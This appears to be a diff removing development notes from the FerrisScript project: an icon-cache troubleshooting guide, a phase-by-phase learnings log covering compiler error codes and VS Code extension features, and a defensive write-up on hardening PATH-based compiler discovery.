-2. Try selecting a different theme (e.g., "Seti"), then back to "FerrisScript"
-3. Restart VS Code
-
----
-
-### Problem: All Files Still Show Crab Icon
-
-**Cause**: Old version of extension still active
-
-**Fix**:
-
-1. Check extension version in Extensions view
-2. Uninstall and reinstall extension (see Option 2)
-3. Verify icon theme JSON file has no `"file"` property
-
----
-
-### Problem: No Icon for .ferris Files
-
-**Cause**: Icon theme not selected or SVG file missing
-
-**Fix**:
-
-1. Verify `extensions/vscode/resources/icons/ferrisscript.svg` exists
-2. Select icon theme: `Ctrl+Shift+P` → "Preferences: File Icon Theme" → "FerrisScript"
-3. Check `package.json` has correct `iconThemes` contribution
-
----
-
-## 📋 Verification Checklist
-
-After applying fix, verify:
-
-- [ ] `.ferris` files show crab icon
-- [ ] `.md` files show Markdown icon (or appropriate default)
-- [ ] `.ts` files show TypeScript icon (or appropriate default)
-- [ ] `.json` files show JSON icon (or appropriate default)
-- [ ] Generic text files show file icon (or appropriate default)
-- [ ] No other file types show crab icon
-- [ ] Extension loads without errors
-
----
-
-## 📝 Update Test Results
-
-Once verified, update `PHASE_5_MANUAL_TESTING.md`:
-
-**Test 13: File Icon Display**
-
-- Change: `Result: [ ] Pass [X] Fail` → `Result: [X] Pass [ ] Fail`
-- Update Notes: "Icon displays correctly after clearing VS Code icon theme cache"
-
----
-
-## 🔍 Root Cause Analysis
-
-**Why This Happened**:
-
-1. Initial implementation had `"file": "ferrisscript-file"` in JSON
-2. VS Code cached this configuration
-3. Fix removed the line, but cache persisted
-4. VS Code continued using cached version
-
-**Prevention**:
-
-- Always test icon themes in clean Extension Development Host
-- Document cache clearing steps in testing guide
-- Consider versioning icon theme in `package.json` to force reload

-# FerrisScript v0.0.3 Learnings
-
-**Version**: 0.0.3 - Editor Experience Alpha  
-**Milestone**: [#2](https://github.com/dev-parkins/FerrisScript/milestone/2)  
-**Status**: In Progress
-
----
-
-## 🎯 Purpose
-
-This document captures key insights, discoveries, and lessons learned during v0.0.3 development. It serves as a reference for future versions and helps maintain institutional knowledge.
-
----
-
-## 📊 Phase-Specific Learnings
-
-### Phase 1: Error Code System ✅
-
-**Date Started**: October 3, 2025  
-**Date Completed**: October 6, 2025  
-**PR**: [#27](https://github.com/dev-parkins/FerrisScript/pull/27)
-
-#### Technical Discoveries
-
-- **Error Code Assignment Timing**: Error codes are assigned based on which compiler stage catches the error first, not necessarily the "most appropriate" category. For example, `let x: int = 5;` triggers type checking errors (E218/E200) rather than parser errors (E110) because the parser accepts it and type checker catches the invalid type.
-
-- **Error Code Organization**: 63 error codes implemented across 5 categories:
-  - Lexical (E001-E003): 3 codes for character, string, and escape sequence errors
-  - Syntax (E100-E113): 14 codes for parser-level errors
-  - Type (E200-E219): 19 codes for type checking errors
-  - Runtime (E400-E418): 24 codes for runtime errors
-  - Internal (E900-E999): Reserved for compiler bugs
-
-- **Validation Testing Strategy**: Test cases must match actual compiler behavior, not ideal behavior. Initial test cases needed adjustment because they triggered different error codes than expected.
-
-- **Documentation Scale**: Comprehensive error documentation (ERROR_CODES.md) reached 4,000+ lines with descriptions, examples, and fixes for each code.
-
-#### Challenges Encountered
-
-- **Clippy Strict Mode**: Initial implementation passed regular `cargo clippy` but failed strict mode (`cargo clippy --workspace --all-targets --all-features -- -D warnings`). Found:
-  - `useless_vec` warnings in test code (should use arrays instead)
-  - Deprecated `criterion::black_box` usage (should use `std::hint::black_box`)
-  
-- **Dependency Updates**: Updating from criterion 0.5 → 0.7 and godot 0.1 → 0.4 introduced breaking API changes:
-  - `criterion::black_box` deprecated in favor of `std::hint::black_box`
-  - godot 0.4 changed `GString` from pass-by-value to pass-by-reference in API calls
-
-- **Documentation Link Validation**: Found 11 broken markdown links across planning documents during final validation:
-  - Incorrect relative paths (missing `../` levels)
-  - Links to non-existent future phase documents
-  - Outdated roadmap filenames
-
-#### Solutions Applied
-
-- **Test Adjustments**: Modified validation tests to match actual error code behavior rather than assumed behavior. Example: Used `let x: unknown_type = 5;` instead of `let x: int = 5;` to trigger specific parser errors.
-
-- **Strict Quality Gates**: Established `cargo clippy --workspace --all-targets --all-features -- -D warnings` as the standard for all future work to catch issues early and prevent tech debt accumulation.
-
-- **Dependency Migration**: Updated benchmark files to use `std::hint::black_box` and fixed godot API calls to pass `&GString` instead of cloning. All 222 tests still passing after updates.
-
-- **Documentation Hygiene**: Implemented systematic link checking with `npx markdown-link-check` and fixed all broken links before merging. Updated non-existent phase document links to show `*(To be created)*` placeholders.
-
-#### Best Practices Identified
-
-- **Always Run Strict Clippy**: Use `cargo clippy --workspace --all-targets --all-features -- -D warnings` for final validation before any PR. This catches issues that standard clippy misses and prevents tech debt.
-
-- **Test Actual Behavior**: When writing validation tests, always verify the actual error codes produced by test cases rather than assuming which codes should appear.
-
-- **Document as You Go**: Comprehensive error documentation (with examples and fixes) should be created alongside implementation, not after. This ensures accuracy and completeness.
-
-- **Validate Links Before Commit**: Always run `npx markdown-link-check` on modified markdown files to catch broken links early. Follow DOCUMENTATION_LINKING_GUIDELINES.md for link best practices.
-
-- **Keep Dependencies Current**: Regularly update dependencies to latest stable versions to avoid accumulating breaking changes. Test thoroughly after updates.
-
-- **Format Code Before "Done"**: Always run `cargo fmt --all` before declaring work complete. Include this in all workflow documentation and checklists.
-
----
-
-### Phase 2: Error Suggestions ✅
-
-**Date Started**: October 6, 2025  
-**Date Completed**: October 6, 2025  
-**PR**: *(To be filled after PR creation)*
-
-#### Technical Discoveries
-
-- **Adaptive Thresholds Essential**: String similarity thresholds must adapt to identifier length. Short names (≤8 chars) need strict edit distance (≤2-3), while long names (>8 chars) work better with percentage similarity (≥70%). Using a single threshold produces too many false positives.
-
-- **Levenshtein Performance**: Dynamic programming implementation of Levenshtein distance is O(m×n) but still very fast for typical identifiers (<1ms overhead per error). No optimization needed for practical use cases.
-
-- **Suggestion Ranking**: Sorting candidates by edit distance alone is sufficient. More complex ranking schemes (scope proximity, type matching) would require significant infrastructure changes for minimal UX improvement.
-
-- **Format String Simplicity**: Rust-style "help: did you mean 'X'?" format is clearer and more concise than showing full code context. Users just need the corrected identifier name.
-
-- **Test Coverage Strategy**: Integration tests (full compiler pipeline) are more valuable than unit tests for suggestions, since the real question is "does the user see helpful suggestions?" not "is the algorithm mathematically correct?".
-
-#### Challenges Encountered
-
-- **Initial Test Failures**: First test run had 3 failing tests due to threshold logic being too strict. Tests expected suggestions for 3-edit-distance typos on 8-char names, but thresholds rejected them.
-
-- **Format String Complexity**: Initial implementation tried to show full code context (like Rust compiler) but this required complex span tracking and multi-line formatting. Simpler "did you mean X?" format provided equal value with less code.
-
-- **Type Checker Scope Access**: Type checker needed new methods to list available variables, functions, and types for suggestion search. Required careful thinking about what's "in scope" at error time.
-
-#### Solutions Applied
-
-- **Threshold Refinement**: Adjusted thresholds based on test results. Short names use `distance <= 2 || (len <= 4 && distance <= 1)`, long names use `similarity >= 70%`. This balanced precision vs recall.
-
-- **Simplified Format**: Used concise `\nhelp: did you mean '{suggestion}'?` format that's easy to parse and understand. Removed complex span highlighting and multi-line context.
-
-- **Generic Finder Function**: Created single `find_similar_identifiers()` function that works for variables, functions, and types. Accepts any iterator of candidate names, applies thresholds, sorts, and returns top 3. Reduced code duplication significantly.
-
-- **Scope Listing Methods**: Added helper functions to collect available identifiers at error time. For variables: walk scope chain. For functions: list global functions. For types: list built-in and user types.
-
-#### Best Practices Identified
-
-- **Test-Driven Thresholds**: Don't guess at similarity thresholds. Write comprehensive tests first, then adjust thresholds until tests pass with good precision/recall balance.
-
-- **Integration Over Unit**: For user-facing features like error messages, integration tests (compile code, check output) are more valuable than unit tests (test algorithm internals).
-
-- **Defer Complex Features**: Original plan included keyword suggestions (e.g., `fnn` → `fn`) but this required lexer changes. Better to defer cross-component features until core functionality is solid.
-
-- **Generic Utilities**: When implementing similar features (variable/function/type suggestions), extract common logic into generic utilities. Reduces duplication and improves maintainability.
-
-- **Simple Formats Win**: Concise error hints (`did you mean X?`) are often better than elaborate multi-line explanations. Users want quick answers, not verbose documentation.

-### Phase 3: Error Documentation & Recovery
-
-**Date Started**: October 6, 2025  
-**Date Completed**: October 6, 2025 (Phase 3A, 3B), October 7, 2025 (Phase 3C)
-
-#### Phase 3C: Parser Error Recovery (October 7, 2025)
-
-##### Technical Discoveries
-
-- **Panic-Mode Recovery Essentials**: Implementing error recovery requires three key components: (1) `panic_mode` flag to track recovery state, (2) `errors` collection to accumulate diagnostics, and (3) `synchronize()` method to skip to safe recovery points. These work together to enable multi-error reporting without cascading false positives.
-
-- **Synchronization Point Selection**: Effective sync points for FerrisScript are statement and declaration boundaries: `;` (end of statement), `}` (end of block), `fn` (function start), `let` (variable declaration). These align with grammar structure and user mental model of code organization.
-
-- **Forward Progress Requirement**: The most critical aspect of error recovery is **always advancing past problematic tokens**. Even if `synchronize()` finds a sync point immediately, you must first `advance()` past the bad token that triggered the error, otherwise you create an infinite loop. Pattern: `record_error() → advance() → synchronize()`.
-
-- **Cascading Error Prevention**: Suppressing error reporting while `panic_mode == true` prevents cascading false positives. Once an error is detected, stay in panic mode until reaching a sync point. This gives users one clear error per statement/declaration rather than a flood of confused diagnostics.
-
-- **API Compatibility Strategy**: Maintain existing `parse()` function signature by collecting errors internally but still returning `Result<Program, String>` with first error. Add `get_errors()` method for callers who want full diagnostic list. This provides gradual migration path without breaking existing code.
-
-##### Challenges Encountered
-
-- **Critical Infinite Loop Bug**: Initial implementation caused infinite memory consumption when parser encountered unexpected top-level tokens. Root cause: Called `synchronize()` without first advancing past the bad token. If `synchronize()` returned immediately (token was already at sync point), parser stayed at same position forever, repeatedly processing same token.
-
-- **Test Expectations vs Reality**: Initial unit tests failed because they assumed `synchronize()` would advance *past* sync points, when actual behavior is to stop *at* sync points. Had to adjust test expectations to match implemented algorithm behavior.
-
-- **Token Variant Mismatches**: First test attempts used `Token::Int(1)` which doesn't exist in FerrisScript's lexer. Actual token is `Token::Number(1.0)` for all numeric literals. Required investigation of lexer token enum to find correct variants.
-
-- **Error Message Format Assumptions**: Integration tests initially checked for literal strings like "Expected ';'" or "semicolon", but actual error messages use format "Expected token\nExpected ;, found X". Had to broaden assertions to check for "Expected" or error code "E10" patterns instead.
-
-##### Solutions Applied
-
-- **Infinite Loop Fix**: Added mandatory `self.advance()` call before `synchronize()` in error recovery path:
-
-  ```rust
-  self.record_error(error);
-  self.advance();        // ← Critical: always advance past bad token
-  self.synchronize();    // Then find safe recovery point
-  ```
-
-  This guarantees forward progress even if sync point is reached immediately.
-
-- **Comprehensive Test Suite**: Created 23 recovery-specific tests (13 unit, 10 integration) covering:
-  - Synchronization to each type of sync point (`;`, `}`, `fn`, `let`)
-  - Panic mode behavior and error suppression
-  - Multi-error scenarios across functions and globals
-  - Edge cases (EOF after error, nested constructs, expression errors)
-  - Verification that valid code still parses correctly
-
-- **Public API for Testing**: Made `Parser` struct and `parse_program()` method public, added `get_errors()` accessor. This enables integration tests to inspect internal error collection and verify recovery behavior end-to-end.
-
-- **Flexible Error Assertions**: Updated test assertions to check for error patterns rather than exact strings, making tests resilient to error message formatting changes while still verifying correct error detection.
-
-##### Best Practices Identified
-
-- **Always Advance Before Sync**: When implementing error recovery, the pattern must always be: record error → advance at least one token → synchronize. Never synchronize without advancing first, as this risks infinite loops.
-
-- **Test Both Success and Failure**: Don't just test that recovery works - also test that valid code still compiles successfully without spurious errors. This catches cases where recovery logic accidentally breaks normal parsing.
-
-- **Verify Token Enums Before Testing**: When writing parser tests, always check the actual token enum definition in lexer. Don't assume token variant names - verify them to avoid cryptic compilation errors.
-
-- **Debug Output First, Assertions Second**: When integration tests fail due to unexpected error messages, add `println!()` statements to see actual error text before adjusting assertions. This reveals format assumptions that don't match reality.
-
-- **Quality Gates Are Non-Negotiable**: Run full test suite (`cargo test --workspace`), clippy (`cargo clippy --workspace --all-targets -- -D warnings`), and formatting (`cargo fmt --all`) before declaring work complete. These catch issues that are expensive to fix later.
-
-- **Document Critical Bugs**: When you find a severe bug (like infinite loop), document it thoroughly in learnings with root cause, symptoms, and fix. These insights prevent similar bugs in future work.
-
-##### Performance Impact
-
-- **Zero Overhead on Success Path**: Error recovery only activates when parse errors occur. Valid code parsing performance unchanged.
-- **Minimal Recovery Cost**: Synchronization adds ~10μs per error for token skipping. Acceptable since errors are development-time only.
-- **Bounded Memory Usage**: Error collection limited to actual error count (typically 1-10 per file). No unbounded growth risk.
-
-##### Test Coverage Stats
-
-- **263 Total Tests**: All passing after Phase 3C
-- **23 Recovery Tests**: 13 unit tests in parser.rs + 10 integration tests in parser_error_recovery.rs
-- **Zero Regressions**: All existing parser, lexer, type checker, and runtime tests still passing
-- **Zero Clippy Warnings**: Strict mode (`-D warnings`) passes cleanly

-### Phase 4: VS Code Completion ✅
-
-**Date Started**: October 7, 2025  
-**Date Completed**: October 7, 2025  
-**PR**: *(To be created)*
-
-#### Technical Discoveries
-
-- **TypeScript Extension Infrastructure**: VS Code extensions require TypeScript compilation setup with proper `tsconfig.json`, npm scripts (`compile`, `watch`, `lint`), and activation events. The compiled output goes to `out/` directory and is referenced in `package.json` via `main: "./out/extension.js"`.
-
-- **CompletionItemProvider API**: VS Code's `CompletionItemProvider` interface is straightforward - implement `provideCompletionItems()` which receives document, position, and context, then return array of `CompletionItem` objects. Each item can have label, detail, documentation (MarkdownString), and insertText (SnippetString for placeholders).
-
-- **Context-Aware Completion Strategy**: Simple regex patterns on text before cursor position work well for basic context detection: `/:\s*$/` detects type position, `/^\s*$/` detects statement start. More sophisticated parsing not needed until LSP implementation.
-
-- **Snippet Syntax in Completion**: VS Code SnippetString uses `$1`, `$2`, etc. for tab stops and `$0` for final cursor position. Example: `fn ${1:name}(${2:params}) {\n\t$0\n}` creates multi-step snippet. This provides excellent UX for structured code insertion.
-
-- **Completion Item Kinds**: Using proper CompletionItemKind (Keyword, Class, Function) affects icon displayed in completion menu. `Class` kind works well for types, even though they're not actual classes.
-
-#### Challenges Encountered
-
-- **Node.js Ecosystem Learning Curve**: First time adding TypeScript to the extension meant learning npm package management, tsconfig options, and build scripts. Npm install warnings about deprecated packages were initially concerning but turned out to be harmless (warnings in dependencies, not our code).
-
-- **TypeScript Compilation Errors During Development**: Expected compile errors while building out the provider implementation (missing imports, incomplete types). Solution was to build files in dependency order: utilities → data modules → provider → extension entry point.
-
-- **VS Code Extension Testing Gap**: No automated testing infrastructure for Phase 4. VS Code extension testing requires complex setup with `@vscode/test-electron` and mock VS Code API. Decision: Use manual testing guide instead, defer automated tests to Phase 5 (LSP work).
-
-- **Documentation vs Implementation Gap**: Initial implementation followed execution plan exactly, but discovered completion provider's `context` parameter is rarely used in practice. Our context detection based on cursor position and surrounding text is more reliable than VS Code's trigger context.
-
-#### Solutions Applied
-
-- **Dependency Installation**: Ran `npm install` in `extensions/vscode` directory to add TypeScript toolchain (@types/vscode, @types/node, typescript, eslint, @typescript-eslint/*). Added devDependencies to `package.json` with proper version constraints.
-
-- **Incremental Compilation**: Built TypeScript files incrementally, compiling after each addition to catch errors early. Pattern: create file → compile → fix errors → move to next file. This avoided large error dumps.
-
-- **Manual Testing Guide**: Created comprehensive `PHASE_4_MANUAL_TESTING.md` with 10 test scenarios covering all completion features. Structured with setup instructions, test steps, expected results, troubleshooting, and results tracking table.
-
-- **Context Detection Simplification**: Implemented minimal viable context detection with two regex patterns. More sophisticated parsing (AST-based, scope-aware) deferred to LSP implementation. This keeps Phase 4 simple and maintainable.
-
-#### Best Practices Identified
-
-- **Build Incrementally**: For TypeScript projects, compile after adding each file. Don't write all code then compile - you'll get dozens of errors at once. Incremental compilation gives fast feedback.
-
-- **Match VS Code Conventions**: Follow VS Code extension patterns: use `activate()` and `deactivate()` functions, register providers in activation event, add disposables to `context.subscriptions`. These patterns are battle-tested and familiar to VS Code extension developers.
-
-- **Document Before Implementation**: Creating execution plan document (`PHASE_4_VS_CODE_COMPLETION.md`) before coding helped identify architecture decisions, component structure, and acceptance criteria upfront. This prevented mid-implementation design changes.
-
-- **Snippet Strings for Structure**: Use `SnippetString` for any completion that inserts structured code (functions, loops, conditionals). Users expect tab stops and placeholders for modern IDE experience.
-
-- **Manual Testing for UI**: For UI-heavy features like completion providers, manual testing is more valuable than automated tests. Automated tests can verify logic, but can't verify "Does this feel good to use?"
-
-- **Defer Complexity**: Resist temptation to implement advanced features (scope-aware completion, type inference, symbol resolution) in Phase 4. Save for LSP implementation when you'll have proper infrastructure. YAGNI (You Aren't Gonna Need It) principle applies.
-
-##### Performance Considerations
-
-- **Completion Provider Performance**: Simple completion providers (static keyword/type lists, regex context detection) have negligible performance impact (<1ms per invocation). No optimization needed until LSP with symbol table lookups.
-
-- **TypeScript Compilation Time**: Initial `npm run compile` takes ~2-3 seconds for extension. Incremental compilation (<1 second) makes development iteration fast.
-
-##### Code Organization Insights
-
-- **Separation of Concerns**: Organizing completion data into separate modules (`keywords.ts`, `types.ts`, `functions.ts`) makes code maintainable and extensible. Each module exports single function that returns completion items.
-
-- **Provider Pattern**: Having single `FerrisScriptCompletionProvider` class that delegates to data modules keeps extension entry point clean. Provider handles context detection and routing, data modules handle completion generation.

-## 🔧 Technical Insights
-
-### Architecture Decisions
-
-#### Error Code System Design
-
-- **Enum-Based Approach**: Using Rust enums for error codes provides type safety and compile-time validation. Each error code variant can have associated methods for description, category, and documentation URL.
-
-- **Category Organization**: Error codes organized by compiler stage (Lexical, Syntax, Type, Runtime, Internal) makes it easier to locate relevant errors and understand where in the compilation pipeline issues occur.
-
-- **Reserved Code Ranges**: Reserving gaps in error code ranges (E050-E099, E150-E199, etc.) allows for future expansion within categories without disrupting existing code organization.
-
-### Performance Optimizations
-
-- **Error Code Lookup**: Using match statements for error code descriptions is optimal for performance. Rust compiles these into efficient jump tables.
-
-- **Array vs Vec Performance**: Replacing `vec![]` with array literals `[]` in tests eliminates runtime heap allocation for better performance and clippy compliance.
-
-### Testing Strategies
-
-#### Validation Test Design
-
-- **Error Code Format Tests**: Validate that error codes follow the `Error[EXXX]:` format pattern consistently across all error types.
-
-- **Coverage Tests**: Ensure all error codes are documented and have descriptions. Test that error codes appear correctly in actual compiler output.
-
-- **Context Preservation**: Verify that error context (line numbers, code snippets) is preserved when error codes are added to messages.
-
-### Tooling Improvements
-
-#### Quality Gate Automation
-
-- **Strict Clippy Mode**: Established `cargo clippy --workspace --all-targets --all-features -- -D warnings` as standard. This catches issues in:
-  - Test code (not just main code)
-  - Benchmark code
-  - Example code
-  - All feature combinations
-
-- **Documentation Validation**: Integrated `npm run docs:lint` and `npx markdown-link-check` into workflow to catch documentation issues before CI.
-
-- **Format Consistency**: Always run `cargo fmt --all` before committing to maintain consistent code style across the entire workspace.

-## 🔮 Deferred Investigations & Future Opportunities
-
-### Phase 1 Deferred Items
-
-#### Semantic Error Codes (E300-E399)
-
-**Status**: Deferred - No semantic analyzer yet
-
-**Opportunity**: When implementing semantic analysis in future versions, we have error code ranges reserved for:
-
-- E300: Unreachable code detection
-- E301-E303: Unused variable/function warnings
-- E304-E305: Invalid control flow (break/continue/return outside valid context)
-
-**Investigation Needed**: Research best practices for:
-
-- Dead code elimination strategies
-- Unused variable detection (accounting for intentional underscore prefixes)
-- Control flow validation in nested contexts
-
-#### Advanced Runtime Error Codes (E400-E404 deferred)
-
-**Status**: Error codes defined but not actively triggered by runtime
-
-**Opportunity**: Some runtime errors are defined but not yet detected:
-
-- E400: Division by zero (not checked at runtime yet)
-- E401: Index out of bounds (no array indexing implemented)
-- E402: Null pointer access (no null values in language)
-- E403: Stack overflow (no recursion depth limit)
-- E404: Memory exhaustion (relies on system limits)
-
-**Investigation Needed**:
-
-- Should runtime check for division by zero or rely on system signals?
-- When array indexing is added, what's the performance impact of bounds checking?
-- Is a recursion depth limit needed for FerrisScript's use case (game scripting)?
-
-### Opportunities Discovered During Phase 1
-
-#### Error Code Quick Fixes (LSP Integration)
-
-**Discovery**: Each error code has structured information (description, example, fix) that could power IDE quick fixes.
-
-**Opportunity**: When implementing LSP (Language Server Protocol) support:
-
-- Use error code descriptions for hover tooltips
-- Generate quick fixes from "How to Fix" sections
-- Link to ERROR_CODES.md documentation from IDE
-
-**Benefit**: Significantly improves developer experience with actionable error messages.
-
-#### Error Code Telemetry
-
-**Discovery**: Structured error codes enable tracking which errors users encounter most frequently.
-
-**Opportunity**: (Privacy-respecting) telemetry could identify:
-
-- Most common user errors (prioritize documentation/error messages)
-- Confusing error messages (improve wording)
-- Missing error codes (gaps in coverage)
-
-**Investigation Needed**:
-
-- Opt-in telemetry design
-- Privacy considerations
-- Storage and analysis approach
-
-#### Documentation Website Infrastructure
-
-**Status**: 🎯 Domain Acquired (`ferrisscript.dev`) ✅ - Infrastructure work in progress
-
-**Discovery**: Phase 3A added documentation URLs to error messages with hybrid approach:
-
-- Default: GitHub URLs (work immediately)
-- Future: Custom site via `FERRIS_DOCS_BASE` env var
-
-**Opportunity**: Now that domain is acquired, can work on infrastructure between features:
-
-**Completed**:
-
-- ✅ Domain: `ferrisscript.dev` acquired
-- ✅ Code: Hybrid URL system implemented (GitHub → custom site seamless)
-
-**Remaining Work** (can proceed in parallel with feature development):
-
-1. Set up static hosting (Netlify/Vercel/GitHub Pages)
-2. Create `docs.ferrisscript.dev` CNAME subdomain
-3. Choose & set up documentation framework (Docusaurus/mdBook/VitePress)
-4. Deploy ERROR_CODES.md as searchable website
-5. Verify HTTPS (required for `.dev` TLD)
-
-**Benefit**: Professional documentation site improves project credibility and developer experience. No code changes needed in compiler thanks to env var approach.
-
-**Timeline**: Can be completed any time before v0.0.3 release, or after (GitHub URLs work fine).
-
-#### Error Code Localization
-
-**Discovery**: Error code enum provides a centralization point for all error messages.
-
-**Opportunity**: Future internationalization (i18n) could:
-
-- Translate error descriptions while keeping error codes stable
-- Provide localized "How to Fix" guidance
-- Maintain English error codes for searchability
-
-**Investigation Needed**:
-
-- Which languages to support first?
-- How to maintain translation quality?
-- Performance impact of runtime locale selection?
-
-#### Machine-Readable Error Output
-
-**Discovery**: Error codes provide structured data that's currently only human-readable.
-
-**Opportunity**: Add JSON error output mode for:
-
-- IDE integration (structured diagnostics)
-- Build tool integration (error parsing)
-- CI/CD pipelines (automated failure analysis)
-
-**Example Format**:
-
-```json
-{
-  "errors": [
-    {
-      "code": "E201",
-      "message": "Undefined variable 'player'",
-      "file": "game.ferris",
-      "line": 10,
-      "column": 5,
-      "severity": "error"
-    }
-  ]
-}
-```
-
-**Investigation Needed**: Standardize on JSON schema for compatibility with existing tools.
-
-#### Error Code Documentation Website
-
-**Discovery**: ERROR_CODES.md is comprehensive but linear (must scroll to find codes).
-
-**Opportunity**: Generate a searchable website:
-
-- Search by error code or keyword
-- Browse by category
-- Show related errors
-- Link to GitHub issues/discussions for each code
-
-**Tools**: Could use mdBook, Docusaurus, or custom generator from ERROR_CODES.md.

-### Phase 5: VS Code Hover & Problem Panel ✅
-
-**Date Started**: October 7, 2025  
-**Date Completed**: October 7, 2025  
-**PR**: *(To be created)*
-
-#### Technical Discoveries
-
-- **Hover Provider Simplicity**: VS Code HoverProvider API is remarkably simple - just return MarkdownString for hover content. No complex protocol needed.
-
-- **Markdown Support**: VS Code hover supports full Markdown with code blocks, bold, inline code, and syntax highlighting via `appendCodeblock(code, 'ferrisscript')`.
-
-- **Diagnostic Collection**: VS Code's DiagnosticCollection API provides native problem panel integration. No need to manually render errors - VS Code handles visualization.
-
-- **Error Parsing Regex**: FerrisScript error format (`Error[E201]: message --> file:line:col`) is easily parsed with regex: `/Error\[(\w+)\]: ([^\n]+)\n\s*--> [^:]+:(\d+):(\d+)/g`
-
-- **Compiler Detection**: Simple file existence checks in common locations (`target/debug/`, `target/release/`) work well for finding compiler in workspace.
-
-- **Icon Theme Structure**: VS Code icon themes require two files:
-  1. SVG icon file (`resources/icons/ferrisscript.svg`)
-  2. Icon theme JSON mapping extensions to icons (`ferrisscript-icon-theme.json`)
-
-#### Challenges Encountered
-
-- **No Real Testing Yet**: Extension testing requires launching VS Code Extension Development Host and manual verification. Automated testing deferred to LSP phase.
-
-- **Compiler Integration**: Diagnostics require FerrisScript compiler to be available. Need to handle gracefully when compiler not found.
-
-- **Error Position Accuracy**: Compiler error positions are exact, but need to estimate error length for squiggle rendering (used word boundary detection).
-
-#### Solutions Applied
-
-- **Comprehensive Manual Testing Guide**: Created 15-test manual testing checklist covering all Phase 5 features systematically.
-
-- **Graceful Degradation**: Diagnostic provider checks for compiler availability and disables silently if not found. Other features (hover, completion) still work.
-
-- **Word Boundary Detection**: Parser uses regex `/\w/` to find end of word at error position for accurate squiggle length.
-
-- **Structured Hover Content**: Created separate modules for keywords, types, and functions with consistent data structures for easy extension.
-
-#### Best Practices Identified
-
-- **Reuse Phase 4 Patterns**: Manual testing guide followed Phase 4 structure (setup, test cases, results table, acceptance criteria).
-
-- **Apply Phase 4 Learnings**: Used context detection testing principles and documented VS Code behavior patterns.
-
-- **Separate Concerns**: Hover provider, diagnostic provider, and completion provider are independent modules - easy to test and extend separately.
-
-- **Rich Hover Content**: Include syntax, examples, and descriptions in hover tooltips - don't just show raw signatures.
-
-- **User-Friendly Icons**: Custom file icons significantly improve professional appearance in file explorer.
-
-#### Time Efficiency
-
-- **Actual Implementation**: ~4 hours (vs estimated 2-3 days)
-- **Breakdown**:
-  - Hover provider: ~1 hour (3 files: provider, keywords, types, functions)
-  - Diagnostic provider: ~1.5 hours (2 files: provider, parser)
-  - File icons: ~30 minutes (SVG + icon theme JSON)
-  - Documentation updates: ~1 hour (README, CHANGELOG, testing guide)
-  
-**Key Factor**: Well-defined execution plan and Phase 4 learnings made implementation faster.

-# PATH Security Hardening - Residual Risk Mitigation
-
-**Date**: October 8, 2025  
-**Issue**: Security scanner flagging PATH usage (Low severity)  
-**Status**: ✅ Hardened with configuration option  
-**Commit**: 5b3a32b
-
----
-
-## 🔍 Issue Analysis
-
-### Security Scanner Finding
-
-**Tool**: Static security analysis  
-**Severity**: Low (informational)  
-**Message**: "Make sure the PATH variable only contains fixed, unwriteable directories"
-
-### Context
-
-After fixing command injection vulnerabilities (f7731b5), the scanner still flags PATH usage in line 68:
-
-```typescript
-cp.spawnSync('ferrisscript', ['--version'], { shell: false });
-```
-
-**Why This Is Flagged**:
-
-- Any use of PATH-based executable resolution is flagged
-- Even with `shell: false`, PATH could theoretically point to malicious binary
-- Scanner cannot verify PATH contents at static analysis time
-
----
-
-## 🛡️ Defense-in-Depth Approach
-
-### Layer 1: User Configuration (NEW - Highest Security)
-
-**Added Setting**: `ferrisscript.compilerPath`
-
-```json
-{
-  "ferrisscript.compilerPath": "/usr/local/bin/ferrisscript"
-}
-```
-
-**Benefits**:
-
-- Bypasses PATH entirely
-- User specifies exact trusted compiler location
-- Absolute path validated before use
-- Zero reliance on environment variables
-
-**Use Case**: Security-sensitive environments, corporate policies, compliance requirements
-
-### Layer 2: Workspace Search (Existing)
-
-**Checked Locations**:
-
-```
-workspace/target/debug/ferrisscript[.exe]
-workspace/target/release/ferrisscript[.exe]
-```
-
-**Benefits**:
-
-- Local to project (not PATH-dependent)
-- User controls workspace contents
-- Common for development workflows
-
-### Layer 3: PATH Search (Existing - Enhanced)
-
-**Implementation**:
-
-```typescript
-cp.spawnSync('ferrisscript', ['--version'], { 
-    encoding: 'utf-8',
-    shell: false,  // No command injection
-    timeout: 3000  // Prevent hanging
-});
-```
-
-**Benefits**:
-
-- Standard CLI tool discovery pattern
-- Used by npm, cargo, python, etc.
-- Convenient for users
-
-**Protections**:
-
-- `shell: false` - prevents command injection
-- Timeout - prevents malicious binary from hanging
-- User notification - transparency about which compiler is used
-
----
-
-## 📊 Risk Assessment
-
-### Residual Risk: Low → Negligible
-
-| Attack Vector | Before | After Hardening |
-|---------------|--------|-----------------|
-| Command Injection | ❌ High | ✅ Prevented (spawnSync) |
-| Malicious Binary in PATH | ⚠️ Low | ✅ Negligible (config option) |
-| Compiler Not Found | ⚠️ Silent | ✅ Logged & notified |
-| Hanging Process | ⚠️ Possible | ✅ Prevented (timeout) |
-
-### Why Residual Risk Is Acceptable
-
-1. **Standard Practice**: All major tools use PATH for CLI discovery
-   - Node.js (`npm`, `node`)
-   - Rust (`cargo`, `rustc`)
-   - Python (`python`, `pip`)
-   - Git (`git`)
-
-2. **User Control**: PATH is controlled by user/administrator
-   - Not writable by arbitrary processes
-   - Requires elevated privileges to modify system PATH
-   - Per-user PATH modifications only affect that user
-
-3. **Multiple Mitigations**:
-   - Configuration option (bypass PATH)
-   - Workspace search (prefer local)
-   - Timeout protection
-   - User notification
-
-4. **Threat Model**:
-   - If attacker can modify PATH, they can already execute arbitrary code
-   - This is not a vulnerability introduced by extension
-   - Defense-in-depth provides additional protection layers
-
----
-
-## 📖 User Guidance
-
-### For Maximum Security
-
-**Recommended Setting** (in VS Code settings.json):
-
-```json
-{
-  "ferrisscript.compilerPath": "C:\\Program Files\\FerrisScript\\ferrisscript.exe"
-}
-```
-
-**Steps**:
-
-1. Install FerrisScript CLI to trusted location
-2. Open VS Code Settings (`Ctrl+,`)
-3. Search for "ferrisscript compiler"
-4. Enter absolute path to compiler
-5. Reload window
-
-### For Standard Security (Default)
-
-**No configuration needed** - Extension will:
-
-1. Check workspace `target/` directories
-2. Check PATH for `ferrisscript`
-3. Notify when compiler found
-4. Disable diagnostics if not found
-
-**User Responsibility**:
-
-- Keep PATH clean (standard OS hygiene)
-- Don't add untrusted directories to PATH
-- Keep system updated
-
----
-
-## 🔬 Scanner Response
-
-### Why Scanner Still Flags This
-
-**Static Analysis Limitation**:
-
-- Scanner cannot verify PATH contents at analysis time
-- PATH is runtime environment variable
-- Scanner errs on side of caution (good practice)
-
-**Rating**: Low/Informational
-
-- Not a vulnerability in extension code
-- Flag is informational about general PATH usage
-- Standard practice across all CLI tools
-
